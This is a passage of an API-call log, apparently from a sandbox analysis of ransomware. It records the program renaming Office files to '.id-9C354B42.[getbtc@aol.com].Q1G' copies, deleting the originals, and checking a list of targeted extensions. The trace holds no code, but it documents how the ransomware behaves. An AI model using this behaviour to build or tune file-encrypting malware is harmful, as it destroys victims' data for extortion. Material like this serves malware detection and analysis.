(lpString1=".dbf", lpString2=".ICO") returned -1 [0262.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO") returned 63 [0262.463] lstrlenW (lpString=".1cd") returned 4 [0262.463] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0262.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO") returned 63 [0262.463] lstrlenW (lpString=".jpg") returned 4 [0262.463] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0262.463] lstrcmpiW (lpString1=".CFG", lpString2=".Q1G") returned -1 [0262.463] lstrlenW (lpString="OOFTMPL.CFG") returned 11 [0262.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ooftmpl.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0262.464] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=828) returned 1 [0262.464] CloseHandle (hObject=0x3a0) returned 1 [0262.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ooftmpl.cfg")) returned 0x20 [0262.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ooftmpl.cfg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ooftmpl.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0262.464] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0262.464] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0262.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ooftmpl.cfg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0262.465] GetLastError () returned 0x0 [0262.465] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x33c, lpOverlapped=0x0) returned 1 [0262.489] WriteFile (in: hFile=0x388, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x340, lpOverlapped=0x0) returned 1 [0262.490] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0262.490] WriteFile (in: hFile=0x388, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xea, lpOverlapped=0x0) returned 1 [0262.490] SetEndOfFile (hFile=0x388) returned 1 [0262.544] CloseHandle (hObject=0x388) returned 1 [0262.544] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0262.544] SetEndOfFile (hFile=0x3a0) returned 1 [0262.565] CloseHandle (hObject=0x3a0) returned 1 [0262.565] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.581] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ooftmpl.cfg")) returned 1 [0262.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG") returned 65 [0262.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG") returned 65 [0262.605] lstrlenW (lpString=".doc") returned 4 [0262.605] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0262.605] lstrlenW (lpString=".docx") returned 5 [0262.605] lstrcmpiW (lpString1=".docx", lpString2="L.CFG") returned -1 [0262.605] lstrlenW (lpString=".pdf") returned 4 [0262.605] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0262.605] lstrlenW (lpString=".xls") returned 4 [0262.605] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0262.605] lstrlenW (lpString=".xlsx") returned 5 [0262.605] lstrcmpiW (lpString1=".xlsx", lpString2="L.CFG") returned -1 [0262.605] lstrlenW (lpString=".ppt") returned 4 [0262.605] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0262.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG") returned 65 [0262.605] lstrlenW (lpString=".zip") returned 4 [0262.605] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0262.605] lstrlenW (lpString=".rar") returned 4 [0262.605] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0262.605] lstrlenW (lpString=".bz2") returned 4 [0262.605] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0262.605] lstrlenW (lpString=".7z") returned 3 [0262.605] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0262.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG") returned 65 [0262.605] lstrlenW (lpString=".dbf") returned 4 [0262.605] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0262.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG") returned 65 [0262.605] lstrlenW (lpString=".1cd") returned 4 [0262.605] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0262.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG") returned 65 [0262.605] lstrlenW (lpString=".jpg") returned 4 [0262.606] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0262.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG") returned 65 [0262.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG") returned 65 [0262.606] lstrlenW (lpString=".doc") returned 4 [0262.606] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0262.606] lstrlenW (lpString=".docx") returned 5 [0262.606] lstrcmpiW (lpString1=".docx", lpString2="L.CFG") returned -1 [0262.606] lstrlenW (lpString=".pdf") returned 4 [0262.606] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0262.606] lstrlenW (lpString=".xls") returned 4 [0262.606] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0262.606] lstrlenW (lpString=".xlsx") returned 5 [0262.606] lstrcmpiW (lpString1=".xlsx", lpString2="L.CFG") returned -1 [0262.606] lstrlenW (lpString=".ppt") returned 4 [0262.606] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0262.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG") returned 65 [0262.606] lstrlenW (lpString=".zip") returned 4 [0262.606] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0262.606] lstrlenW (lpString=".rar") returned 4 [0262.606] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0262.606] lstrlenW (lpString=".bz2") returned 4 [0262.606] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0262.606] lstrlenW (lpString=".7z") returned 3 [0262.606] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0262.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG") returned 65 [0262.606] lstrlenW (lpString=".dbf") returned 4 [0262.606] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0262.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG") returned 65 [0262.606] lstrlenW (lpString=".1cd") returned 4 [0262.606] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0262.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG") returned 65 [0262.606] lstrlenW (lpString=".jpg") returned 4 [0262.606] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0262.607] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0262.607] lstrlenW (lpString="POSTITL.ICO") returned 11 [0262.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postitl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0262.649] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=1078) returned 1 [0262.650] CloseHandle (hObject=0x3d8) returned 1 [0262.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postitl.ico")) returned 0x20 [0262.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postitl.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postitl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0262.650] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0262.650] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0262.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postitl.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0262.651] GetLastError () returned 0x0 [0262.651] ReadFile (in: hFile=0x3d8, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x436, lpOverlapped=0x0) returned 1 [0262.653] WriteFile (in: hFile=0x1f8, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x440, lpOverlapped=0x0) returned 1 [0262.654] ReadFile (in: hFile=0x3d8, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0262.654] WriteFile (in: hFile=0x1f8, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xea, lpOverlapped=0x0) returned 1 [0262.654] SetEndOfFile (hFile=0x1f8) returned 1 [0262.654] CloseHandle (hObject=0x1f8) returned 1 [0262.654] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0262.654] SetEndOfFile (hFile=0x3d8) returned 1 [0262.656] CloseHandle (hObject=0x3d8) returned 1 [0262.656] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.656] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postitl.ico")) returned 1 [0262.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO") returned 65 [0262.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO") returned 65 [0262.657] lstrlenW (lpString=".doc") returned 4 [0262.657] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0262.657] lstrlenW (lpString=".docx") returned 5 [0262.657] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0262.657] lstrlenW (lpString=".pdf") returned 4 [0262.657] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0262.657] lstrlenW (lpString=".xls") returned 4 [0262.657] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0262.657] lstrlenW (lpString=".xlsx") returned 5 [0262.657] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0262.657] lstrlenW (lpString=".ppt") returned 4 [0262.657] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0262.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO") returned 65 [0262.657] lstrlenW (lpString=".zip") returned 4 [0262.658] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0262.658] lstrlenW (lpString=".rar") returned 4 [0262.658] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0262.658] lstrlenW (lpString=".bz2") returned 4 [0262.658] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0262.658] lstrlenW (lpString=".7z") returned 3 [0262.658] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0262.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO") returned 65 [0262.658] lstrlenW (lpString=".dbf") returned 4 [0262.658] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0262.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO") returned 65 [0262.658] lstrlenW (lpString=".1cd") returned 4 [0262.658] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0262.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO") returned 65 [0262.658] lstrlenW (lpString=".jpg") returned 4 [0262.658] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0262.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO") returned 65 [0262.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO") returned 65 [0262.658] lstrlenW (lpString=".doc") returned 4 [0262.658] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0262.658] lstrlenW (lpString=".docx") returned 5 [0262.658] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0262.658] lstrlenW (lpString=".pdf") returned 4 [0262.658] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0262.658] lstrlenW (lpString=".xls") returned 4 [0262.658] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0262.658] lstrlenW (lpString=".xlsx") returned 5 [0262.658] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0262.658] lstrlenW (lpString=".ppt") returned 4 [0262.658] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0262.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO") returned 65 [0262.658] lstrlenW (lpString=".zip") returned 4 [0262.658] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0262.658] lstrlenW (lpString=".rar") returned 4 [0262.658] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0262.658] lstrlenW (lpString=".bz2") returned 4 [0262.659] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0262.659] lstrlenW (lpString=".7z") returned 3 [0262.659] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0262.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO") returned 65 [0262.659] lstrlenW (lpString=".dbf") returned 4 [0262.659] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0262.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO") returned 65 [0262.659] lstrlenW (lpString=".1cd") returned 4 [0262.659] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0262.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO") returned 65 [0262.659] lstrlenW (lpString=".jpg") returned 4 [0262.659] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0262.659] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0262.659] lstrlenW (lpString="POSTITS.ICO") returned 11 [0262.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postits.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0262.660] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=2998) returned 1 [0262.660] CloseHandle (hObject=0x3d8) returned 1 [0262.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postits.ico")) returned 0x20 [0262.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postits.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postits.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0262.660] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0262.660] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0262.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postits.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0262.661] GetLastError () returned 0x0 [0262.661] ReadFile (in: hFile=0x3d8, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0xbb6, lpOverlapped=0x0) returned 1 [0262.663] WriteFile (in: hFile=0x1f8, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0262.664] ReadFile (in: hFile=0x3d8, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0262.664] WriteFile (in: hFile=0x1f8, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xea, lpOverlapped=0x0) returned 1 [0262.664] SetEndOfFile (hFile=0x1f8) returned 1 [0262.664] CloseHandle (hObject=0x1f8) returned 1 [0262.664] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0262.664] SetEndOfFile (hFile=0x3d8) returned 1 [0262.666] CloseHandle (hObject=0x3d8) returned 1 [0262.666] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.667] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postits.ico")) returned 1 [0262.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO") returned 65 [0262.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO") returned 65 [0262.667] lstrlenW (lpString=".doc") returned 4 [0262.667] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0262.667] lstrlenW (lpString=".docx") returned 5 [0262.667] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0262.667] lstrlenW (lpString=".pdf") returned 4 [0262.667] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0262.667] lstrlenW (lpString=".xls") returned 4 [0262.667] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0262.667] lstrlenW (lpString=".xlsx") returned 5 [0262.668] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0262.668] lstrlenW (lpString=".ppt") returned 4 [0262.668] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0262.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO") returned 65 [0262.668] lstrlenW (lpString=".zip") returned 4 [0262.668] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0262.668] lstrlenW (lpString=".rar") returned 4 [0262.668] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0262.668] lstrlenW (lpString=".bz2") returned 4 [0262.668] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0262.668] lstrlenW (lpString=".7z") returned 3 [0262.668] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0262.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO") returned 65 [0262.668] lstrlenW (lpString=".dbf") returned 4 [0262.668] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0262.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO") returned 65 [0262.668] lstrlenW (lpString=".1cd") returned 4 [0262.668] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0262.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO") returned 65 [0262.668] lstrlenW (lpString=".jpg") returned 4 [0262.668] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0262.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO") returned 65 [0262.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO") returned 65 [0262.668] lstrlenW (lpString=".doc") returned 4 [0262.668] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0262.668] lstrlenW (lpString=".docx") returned 5 [0262.668] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0262.668] lstrlenW (lpString=".pdf") returned 4 [0262.668] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0262.668] lstrlenW (lpString=".xls") returned 4 [0262.668] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0262.668] lstrlenW (lpString=".xlsx") returned 5 [0262.668] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0262.668] lstrlenW (lpString=".ppt") returned 4 [0262.668] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0262.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO") returned 65 [0262.669] lstrlenW (lpString=".zip") returned 4 [0262.669] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0262.669] lstrlenW (lpString=".rar") returned 4 [0262.669] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0262.669] lstrlenW (lpString=".bz2") returned 4 [0262.669] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0262.669] lstrlenW (lpString=".7z") returned 3 [0262.669] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0262.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO") returned 65 [0262.669] lstrlenW (lpString=".dbf") returned 4 [0262.669] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0262.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO") returned 65 [0262.669] lstrlenW (lpString=".1cd") returned 4 [0262.669] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0262.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO") returned 65 [0262.669] lstrlenW (lpString=".jpg") returned 4 [0262.669] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0262.669] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0262.669] lstrlenW (lpString="POSTL.ICO") returned 9 